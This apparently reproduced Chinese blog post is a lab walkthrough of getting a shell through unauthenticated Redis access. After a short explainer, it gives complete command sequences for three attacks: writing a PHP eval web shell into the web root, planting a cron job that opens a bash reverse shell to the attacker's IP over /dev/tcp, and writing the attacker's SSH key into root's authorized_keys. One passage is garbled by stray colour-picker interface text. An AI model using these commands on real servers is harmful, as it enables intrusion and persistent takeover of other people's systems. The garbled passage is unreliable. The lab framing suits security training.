redis 未授权访问拿shell

作者:凌度

time:2023/03/18

1. redis 数据库基础知识:

redis 简介:

redis 是一个非常快速的、开源的、支持网络、可基于内存可持久化的日志型、非关系类型的、Key-Value 数据库,并且提供多种语言的 API 。它提供了 Jave,C/C++,C#,PHP,JaveScript,Perl,Object-C,Python,Ruby,Erlang 等客户端,使用很方便

1. redis 应用场景:

Redis 在Java Web 主要有两个应用场景

存储缓存用的数据需要高速读/写的场合使用它快速读/写

例如:当你需要去处理一个百万级别的并发请求的时候(双十一抢红包,抢优惠券),如果只是单纯地依赖于数据库,那么对客户的体验是非常差的,这个时候就需要使用我们的 redis 进行提前的缓存,提高客户的使用体验

2. redis 常用命令:

Redis常用命令:
​
set testkey "Hello World"       # 设置键testkey的值为字符串Hello World
​
get testkey                  # 获取键testkey的内容
​
SET score 99                 # 设置键score的值为99
​
INCR score                  # 使用INCR命令将score的值增加1
​
GET score                   # 获取键score的内容
​
keys *                       # 列出当前数据库中所有的键
​
get anotherkey               # 获取一个不存在的键的值
​
config set dir /home/test       # 设置工作目录
​
config set dbfilename redis.rdb    # 设置备份文件名
​
config get dir                  # 检查工作目录是否设置成功
​
config get dbfilename          # 检查备份文件名是否设置成功
​
save                        # 进行一次备份操作
​
# 下面的命令慎用:
​
flushall                      # 删除所有数据(慎用)
​
del key                      # 删除键为key的数据

2. redis 未授权访问漏洞的成因和危害:

1. 漏洞定义:

redis末授权访问漏洞是一个由于redis服务版本较低其未设置登录密码导致的漏洞,攻击者可直接利用redis服务器的ip地址器的远程登录,对目标服务器完成后续的控制和利用。

2. 漏洞成因:

1、redis版本为4.x/5.

(307,197)

2、redis绑定在 0.0.00: 128,132,134#行添加防火墙规则避免其他非信任来源ip访问等相关安全策按 C复制颜色值略,直接暴露在公网;按shift 切换 RGB/HEX

3、没有设置密码认证(一般为空),可以免密码远程登录redis服务。

3. redis 未授权访问的危害:

1. 漏洞危害:

1. Redis未授权访问:

因配置不当可以未经授权访问,攻击者无需认证就可以访问到内部数据,其漏洞可导致敏感信息泄露,也可以恶意执行flushall来清空所有数据,攻击者还可通过EVAL执行lua代码,或通过数据备份功能往磁盘写入后门文件。如果Redis以root身份运行,可以给root账户写入SSH公钥文件,直接免密码登录服务器

2. Redis主从复制RCE在Reids 4.x之后:

Redis新增了模块功能,通过外部拓展,可以实现在redis中实现一个新的Redis命令,通过写c语言编译并加载恶意so文件,达到代码执行的目的

3. 漏洞危害总结:

攻击者可通过redis命令向目标服务器写入任务计划来反弹shell,完成服务器的控制

攻击者可通过redis命令向网站目录写入webshell,完成对目标网站服务器的初步控制

最严重的情况,如果redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器。

其实说白了就是,你只要只够连接它的 redis ,就可以进行进一步利用

4. 漏洞复现准备:

凌度有话说:下面是介绍两个实验环境,我演示的是基于实验环境一

1. 实验环境一:

该实验环境采用 docker 搭建,来源于合天网安实验室,下面这个是链接:

实验:Redis未授权访问漏洞(合天网安实验室)

实验环境:目标机器 CentOS7+Apache+Redis

目标机器:CentOS7+Apache+Redis、IP地址:10.1.1.200

攻击机器:kali 、ip 地址:10.1.1.100

2. 实验环境二:

当然你也可以使用 vulhub(我更推荐使用 vulhub,因为是采用的 docker 搭建,非常方便)

1. kali 准备连接 redis 连接工具:

我们以 kali 作为攻击机,我们演示的是 redis 未授权访问,也就是不需要输密码也能进行连接,但是我们也是需要提前去安装连接 redis 的工具的

安装 redis-tools 包管理器

apt install redis-tools  //安装包管理器

安装 redis 压缩包

 wget http://download.redis.io/releases/redis-6.0.3.tar.gz       //下载redis

解压刚刚安装好的 redis 压缩包

tar -zxvf redis-6.0.3.tar.gz       //解压

进入解压后的数据包,然后输入 make 进行编译安装

cd redis-6.0.3
make     //编译 

redis-cli -h 10.1.1.200 -p 6379         //连接redis服务器
# 然后我们输入 auto username password 即可实现登录

如果存在 redis 未授权访问漏洞的话,就可以直接进行连接

redis-cli -h 10.1.1.200 -p 6379         //连接redis服务器
​
-h:指定连接的redis服务器
​
-p 指定6379端口 
​
info打印信息 如版本目录信息

5. 基于实验环境一漏洞利用实战:

目标机器:CentOS7+Apache+Redis、IP地址:10.1.1.200 攻击机器:kali 、ip 地址:10.1.1.100

首先我们进入到合天实验室之后,装环境

get http://tools.hetianlab.com/tools/RedisUnauthorized.zip
​
解压unzip RedisUnauthorized.zip
​
tar -zxvf redis-6.0.3.tar.gz
​
#移动到redis文件夹下
make
​
#移动到/redis/src 将redis-cli复制到/usr/bin目录下 
cp redis-cli /usr/bin

1. 端口扫描+路径发现:

nmap -p- -sV 10.1.1.200
# 我们通过 dirsearch 发现 phpinfo.php 文件,从而获取该往网站的绝对路径
dirsearch -u 10.1.1.200

发现 6379 端口,由于演示的是 redis 未授权权漏洞,因此其它端口不演示

2. 漏洞利用:

1. 方法一拿 shell(写入 php 一句话)

redis-cli -h 10.1.1.200
info

根据网站的绝对路径写入一句话木马,绝对路劲要么猜出来,要么就是根据上述 dirsearch 扫描出来的 phpinfo 文件进行获取

config set dir /var/www/html
config set dirfilename shell.php
set x "<?php @eval($_POST['test']);?>"   
save

然后我们即可拿到 shell

2. 方法二拿 shell(反弹 shell)

1. kali 开启端口监听:

nc -lnvp 4433

2. 写入反弹 shell 文件 code:

config set dir /var/spool/cron    //设置备份路径,这里就是设置定时任务的文件夹
config set dbfilename root    //设置备份文件名
set xx "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/10.1.1.100/4433 0>&1\n\n"  
//设置内容,在计划任务前后加入换行以确保写入的计划任务可以被正常解析,每分钟执行一次/bin/.........
save         //保存

3. 方法三拿 shell(写入 ssh 文件)

1. 写入 ssh 文件拿 shell 原理:

攻击者在未授权访问Redis的情况下可以利用Redis,运行 Redis的用户是 root 用户,攻击者将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys文件中,所以可以无需密码直接登录目标服务器。

ssh-keygen -t rsa    

3.将公钥写入txt文件,用\n换行,避免和Redis混合不好分辨

(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > /tmp/foo.txt

cat /tmp/foo.txt       /查看txt文件

4.用redis-cli -h ip命令连接靶机

cat /tmp/foo.txt | redis-cli -h 10.1.1.200 -p 6379 -x set sshkey     //连接靶机传入文件
​
redis-ccli -h 10.1.1.200 -p 6379     //连接redis
​
config set dir /root/.ssh/              //设置备份文件路径
​
config set dbfilename "authorized_keys"         //命名
save                //保存

5.利用ssh远程连接目标机器 ,连接成功:

ssh [email protected] -i/root/.ssh/id_rsa   //

猜你喜欢

转载自blog.csdn.net/blackguest07/article/details/129642617
今日推荐